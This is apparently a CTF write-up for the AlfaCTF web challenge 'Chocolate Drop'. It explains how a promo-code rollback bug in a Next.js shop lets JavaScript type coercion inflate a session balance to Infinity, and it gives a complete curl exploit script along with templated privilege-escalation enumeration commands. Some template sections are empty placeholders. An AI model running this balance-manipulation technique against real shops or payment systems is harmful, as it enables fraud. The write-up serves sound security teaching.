Chocolate Drop
Chocolate Drop
Platform: Alfactf | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-25 | Status: Solved Techniques: infinity_balance_manipulation, javascript_type_coercion_abuse, source_code_coupon_recovery
Summary
Task: a Next.js chocolate shop stores balances in server-side SQLite sessions and exposes a promo redemption endpoint. Solution: recover the valid coupon from source, then exploit JavaScript string-plus-number coercion to turn the balance into Infinity and buy the flag item.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
alfactf| ID:20260425_alfactf_shokoladnyy_drop - Tags: sqlite, javascript, type_confusion, infinity, business_logic, nextjs, session_storage, promocode
- Indicators: promo code payload is a base64-encoded JSON object with an amount field, balance is updated before promo validation and persisted in finally, JavaScript number plus string turns the balance into a string, checkout trusts the server-side session value even after Infinity serializes as null
- Source:
20260425_alfactf_shokoladnyy_drop.md
Foothold
Vulnerability / Misconfiguration
- Infinity_balance_manipulation
- Javascript_type_coercion_abuse
- Source_code_coupon_recovery
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- infinity_balance_manipulation
- javascript_type_coercion_abuse
- source_code_coupon_recovery
- Tags: sqlite, javascript, type_confusion, infinity, business_logic, nextjs, session_storage, promocode
Original Writeup
<details><summary>Click to expand original content</summary>Chocolate Drop — AlfaCTF
Description
Шоколадный дроп
English summary: the target is a Next.js shop application with server-side SQLite-backed sessions, a promo code feature, and a hidden expensive flag item. The goal is to abuse the promo flow to raise the stored balance high enough for checkout.
Analysis
Recon
Source inspection revealed a valid promo code embedded directly in the frontend or bundled source. The code decodes from base64 into the JSON object below:
{"amount":5000,"coupon":"TREAT5000"}
The interesting API route was POST /api/promocode. The handler updated session.balance before fully validating the promo payload:
- Add
promo.amounttosession.balance - Later reject malformed data in a
catch - Subtract the same value in the error path
- Always persist the session in
finally
That sequence is unsafe in JavaScript because + is both numeric addition and string concatenation.
Vulnerability
After redeeming the legitimate 5000 coupon once, the stored balance is the number 5000. The bug appears when the next promo uses a malformed amount value such as the string "1e305".
At that point the application effectively does:
session.balance += "1e305";
Instead of producing a larger number, JavaScript concatenates and the balance becomes the string:
"50001e305"
Later the error handler tries to roll the change back with -=. That operator forces numeric coercion first:
session.balance -= "1e305";
Now "50001e305" is parsed as an enormous scientific-notation value, which overflows to Infinity. Then the rollback becomes:
Infinity - 1e305 === Infinity
So the failed promo does not restore the original balance. It upgrades it to Infinity.
Persistence quirk
When the session is serialized to JSON, Infinity is shown as null, which can make debugging misleading. However, the backend still restores and uses the server-side SQLite session value during checkout, so the purchase logic treats the balance as effectively unlimited.
With that state, adding the expensive flag item to the cart and checking out succeeds. The real flag is then returned by GET /api/completed.
Reference pattern
I also checked the related CTFBase writeup 20251219_alfactf_coins after searching for javascript NaN balance type confusion. It highlighted the same family of JavaScript numeric edge cases: if balance logic mixes loose coercion, special numeric values, and weak validation, business-logic checks can often be bypassed.
Solution
The exploitation flow is short:
- Start a fresh session.
- Redeem the valid promo
{\"amount\":5000,\"coupon\":\"TREAT5000\"}. - Send a malformed promo whose
amountis the string"1e305". - Let the buggy rollback convert the balance into
Infinity. - Add the
flagitem to the cart. - Checkout.
- Read the flag from
GET /api/completed.
Short curl example:
#!/usr/bin/env bash
BASE="https://TARGET"
COOKIE="/tmp/choco.cookie"
# 1. Create session
curl -s "$BASE/" -c "$COOKIE" > /dev/null
# 2. Redeem the real coupon
curl -s "$BASE/api/promocode" \
-b "$COOKIE" -c "$COOKIE" \
-H 'Content-Type: application/json' \
-d '{"amount":5000,"coupon":"TREAT5000"}'
# 3. Trigger string concatenation, then Infinity on rollback
curl -s "$BASE/api/promocode" \
-b "$COOKIE" -c "$COOKIE" \
-H 'Content-Type: application/json' \
-d '{"amount":"1e305","coupon":"BROKEN"}'
# 4. Add the expensive item and buy it
curl -s "$BASE/api/cart" \
-b "$COOKIE" -c "$COOKIE" \
-H 'Content-Type: application/json' \
-d '{"item":"flag"}'
curl -s "$BASE/api/checkout" \
-b "$COOKIE" -c "$COOKIE" \
-X POST
# 5. Retrieve the real flag
curl -s "$BASE/api/completed" -b "$COOKIE"
The key observation is the coercion chain:
5000 + "1e305" // "50001e305" "50001e305" - "1e305" // Infinity Infinity - 1e305 // Infinity
This is why the rollback path is exploitable even though it appears to subtract the same value it just added.
Takeaway
For JavaScript shop challenges, always test how balances behave across +, -, JSON serialization, and session persistence. Type confusion is often enough to turn a small legitimate credit into NaN or Infinity, which breaks every later price comparison.
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR